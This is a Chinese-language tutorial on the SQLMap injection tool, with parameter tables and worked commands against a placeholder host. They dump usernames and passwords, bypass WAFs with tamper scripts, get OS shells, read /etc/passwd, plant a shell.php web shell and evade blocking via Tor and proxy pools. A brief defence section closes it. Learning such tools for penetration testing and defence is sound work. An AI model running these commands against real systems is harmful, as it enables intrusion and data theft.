SQLMap 详解:自动化 SQL 注入神器
SQLMap 是一款开源的自动化 SQL 注入工具,专门用于检测、利用和渗透测试 Web 应用程序中的 SQL 注入漏洞。它是渗透测试人员和安全研究人员的必备工具之一。
一、SQLMap 核心特性
1. 自动化程度高
- 自动检测注入类型(布尔盲注、时间盲注、联合查询注入、报错注入等)
- 自动识别数据库管理系统(MySQL、Oracle、PostgreSQL、SQL Server 等)
- 自动获取数据库结构、数据、用户权限等
2. 功能强大
- 支持多种 SQL 注入技术
- 可以直接获取数据库 shell
- 支持文件上传/下载
- 可以执行操作系统命令
- 支持绕过 WAF/IDS/IPS
3. 灵活性好
- 丰富的命令行参数
- 支持从 Burp Suite、ZAP 等工具导入请求
- 支持自定义载荷和篡改脚本
- 支持代理和 Tor 匿名网络
二、SQLMap 工作流程
基本流程:
1. 检测注入点 → 2. 指纹识别 → 3. 获取数据 → 4. 提权/后渗透
三、核心参数详解
目标参数
| 参数 | 说明 | 示例 |
|---|---|---|
-u |
目标URL | sqlmap -u "http://test.com/page.php?id=1" |
-g |
Google 搜索目标 | sqlmap -g "inurl:php?id=" |
-r |
从文件中读取 HTTP 请求 | sqlmap -r request.txt |
-l |
从 Burp 日志中读取目标 | sqlmap -l burp.log |
-x |
从 sitemap.xml 读取目标 | sqlmap -x sitemap.xml |
-m |
扫描多个目标文件 | sqlmap -m targets.txt |
请求参数
| 参数 | 说明 | 示例 |
|---|---|---|
--data |
POST 数据 | sqlmap -u "..." --data="user=admin&pass=123" |
--cookie |
Cookie 值 | sqlmap -u "..." --cookie="PHPSESSID=abc123" |
--user-agent |
自定义 User-Agent | sqlmap -u "..." --user-agent="Mozilla" |
--random-agent |
随机 User-Agent | sqlmap -u "..." --random-agent |
--referer |
自定义 Referer | sqlmap -u "..." --referer="http://test.com" |
--headers |
自定义 HTTP 头 | sqlmap -u "..." --headers="X-Forwarded-For: 1.1.1.1\n..." |
--proxy |
使用代理 | sqlmap -u "..." --proxy="http://127.0.0.1:8080" |
--tor |
使用 Tor 代理 | sqlmap -u "..." --tor --tor-type=SOCKS5 |
注入参数
| 参数 | 说明 | 示例 |
|---|---|---|
-p |
指定测试参数 | sqlmap -u "..." -p id,username |
--skip |
跳过指定参数 | sqlmap -u "..." --skip=user-agent,referer |
--dbms |
指定数据库类型 | sqlmap -u "..." --dbms=mysql |
--os |
指定操作系统 | sqlmap -u "..." --os=linux |
--technique |
指定注入技术 | sqlmap -u "..." --technique=B |
--union-cols |
联合查询列数范围 | sqlmap -u "..." --union-cols=10-20 |
注入技术代码:
B- 布尔盲注E- 报错注入U- 联合查询注入S- 堆叠查询注入T- 时间盲注Q- 内联查询注入
枚举参数
| 参数 | 说明 | 示例 |
|---|---|---|
--dbs |
枚举所有数据库 | sqlmap -u "..." --dbs |
-D |
指定目标数据库 | sqlmap -u "..." -D testdb |
--tables |
枚举数据库表 | sqlmap -u "..." -D testdb --tables |
-T |
指定目标表 | sqlmap -u "..." -D testdb -T users |
--columns |
枚举表列 | sqlmap -u "..." -D testdb -T users --columns |
-C |
指定目标列 | sqlmap -u "..." -D testdb -T users -C username,password |
--dump |
转储表数据 | sqlmap -u "..." -D testdb -T users --dump |
--dump-all |
转储所有数据 | sqlmap -u "..." --dump-all |
--schema |
枚举数据库架构 | sqlmap -u "..." --schema |
--count |
统计表中记录数 | sqlmap -u "..." -D testdb -T users --count |
--users |
枚举数据库用户 | sqlmap -u "..." --users |
--passwords |
枚举用户密码哈希 | sqlmap -u "..." --passwords |
--privileges |
枚举用户权限 | sqlmap -u "..." --privileges |
--roles |
枚举用户角色 | sqlmap -u "..." --roles |
高级参数
| 参数 | 说明 | 示例 |
|---|---|---|
--level |
测试等级 (1-5) | sqlmap -u "..." --level=3 |
--risk |
风险等级 (1-3) | sqlmap -u "..." --risk=2 |
--tamper |
使用篡改脚本 | sqlmap -u "..." --tamper=space2comment |
--batch |
非交互模式 | sqlmap -u "..." --batch |
--flush-session |
清空会话文件 | sqlmap -u "..." --flush-session |
--fresh-queries |
忽略缓存结果 | sqlmap -u "..." --fresh-queries |
--sql-shell |
获取 SQL Shell | sqlmap -u "..." --sql-shell |
--os-shell |
获取操作系统 Shell | sqlmap -u "..." --os-shell |
--os-cmd |
执行操作系统命令 | sqlmap -u "..." --os-cmd="whoami" |
--os-pwn |
获取 Meterpreter 等 | sqlmap -u "..." --os-pwn |
--file-read |
读取服务器文件 | sqlmap -u "..." --file-read="/etc/passwd" |
--file-write |
上传文件到服务器 | sqlmap -u "..." --file-write="local.txt" --file-dest="/tmp/remote.txt" |
--crawl |
爬行网站寻找注入点 | sqlmap -u "..." --crawl=10 |
四、实战示例
示例1:基本 SQL 注入检测
bash
# 检测 GET 参数注入
sqlmap -u "http://test.com/page.php?id=1"
# 检测 POST 参数注入
sqlmap -u "http://test.com/login.php" --data="username=admin&password=123"
# 带 Cookie 的检测
sqlmap -u "http://test.com/member.php" --cookie="session=abc123"
# 从 Burp 请求文件检测
sqlmap -r request.txt
示例2:完整渗透流程
bash
# 1. 检测注入点
sqlmap -u "http://test.com/news.php?id=1" --batch
# 2. 获取数据库列表
sqlmap -u "http://test.com/news.php?id=1" --dbs
# 3. 选择数据库并获取表
sqlmap -u "http://test.com/news.php?id=1" -D testdb --tables
# 4. 选择表并获取列
sqlmap -u "http://test.com/news.php?id=1" -D testdb -T users --columns
# 5. 导出数据
sqlmap -u "http://test.com/news.php?id=1" -D testdb -T users -C username,password --dump
# 6. 导出整个表
sqlmap -u "http://test.com/news.php?id=1" -D testdb -T users --dump
示例3:绕过 WAF
bash
# 使用随机 User-Agent
sqlmap -u "http://test.com/page.php?id=1" --random-agent
# 使用延迟
sqlmap -u "http://test.com/page.php?id=1" --delay=1
# 使用时间盲注
sqlmap -u "http://test.com/page.php?id=1" --technique=T
# 使用篡改脚本
sqlmap -u "http://test.com/page.php?id=1" --tamper=space2comment,between,charencode
# 通过代理
sqlmap -u "http://test.com/page.php?id=1" --proxy="http://127.0.0.1:8080"
示例4:获取 Shell
bash
# 获取 SQL Shell
sqlmap -u "http://test.com/page.php?id=1" --sql-shell
# 获取操作系统 Shell
sqlmap -u "http://test.com/page.php?id=1" --os-shell
# 执行单个命令
sqlmap -u "http://test.com/page.php?id=1" --os-cmd="whoami"
# 获取完全交互式 Shell
sqlmap -u "http://test.com/page.php?id=1" --os-pwn
示例5:文件操作
bash
# 读取服务器文件
sqlmap -u "http://test.com/page.php?id=1" --file-read="/etc/passwd"
# 写入文件到服务器
sqlmap -u "http://test.com/page.php?id=1" --file-write="/local/path/shell.php" --file-dest="/var/www/html/shell.php"
五、常用 Tamper 脚本
Tamper 脚本用于绕过 WAF/IDS/IPS 防护:
bash
# 常用 Tamper 脚本
--tamper=space2comment # 空格替换为注释
--tamper=between # 用 between 替换大于号
--tamper=charencode # 对 payload 进行 URL 编码
--tamper=randomcase # 随机大小写
--tamper=charunicodeencode # 对 payload 进行 Unicode 编码
--tamper=equaltolike # 等号替换为 LIKE
--tamper=greatest # 大于号绕过
--tamper=ifnull2ifisnull # 绕过 MySQL 过滤
--tamper=modsecurityversioned # 空格替换为注释绕过 ModSecurity
--tamper=space2plus # 空格替换为加号
--tamper=space2randomblank # 空格替换为随机空白字符
--tamper=unionalltounion # UNION ALL SELECT 替换为 UNION SELECT
--tamper=unmagicquotes # 宽字节注入
六、SQLMap 配置文件
SQLMap 支持配置文件,可将常用参数保存:
ini
# sqlmap.conf
[target]
url = http://test.com/page.php?id=1
cookie = PHPSESSID=abc123
random-agent = true
level = 3
risk = 2
使用配置文件:
bash
sqlmap -c sqlmap.conf
七、SQLMap API
SQLMap 提供 REST API 接口:
bash
# 启动 API 服务器
sqlmapapi -s
# 在另一个终端使用 API
sqlmapapi -u "http://127.0.0.1:8775" -l
八、实用技巧
1. 批量扫描
bash
# 从文件读取多个目标
sqlmap -m targets.txt --batch
# 从 Burp 日志扫描
sqlmap -l burp.log --batch
2. 优化扫描
bash
# 快速扫描
sqlmap -u "http://test.com/page.php?id=1" --batch --threads=10
# 深度扫描
sqlmap -u "http://test.com/page.php?id=1" --level=5 --risk=3
3. 避免被封锁
bash
# 设置延迟
sqlmap -u "http://test.com/page.php?id=1" --delay=2
# 使用代理池
sqlmap -u "http://test.com/page.php?id=1" --proxy-file=proxies.txt
# 通过 Tor
sqlmap -u "http://test.com/page.php?id=1" --tor --tor-type=SOCKS5 --check-tor
4. 输出格式
bash
# 保存结果到文件
sqlmap -u "http://test.com/page.php?id=1" --output-dir=/tmp/sqlmap_output
# 不同输出格式
sqlmap -u "http://test.com/page.php?id=1" --flush-session --answers="crack=N,follow=N" -v 3
九、防御建议
虽然 SQLMap 是攻击工具,但了解它有助于防御:
- 使用参数化查询/预编译语句
- 严格的输入验证和过滤
- 最小权限原则(数据库用户只拥有必要权限)
- 使用 WAF
- 错误信息不泄露细节
- 定期安全审计和漏洞扫描
- 更新和打补丁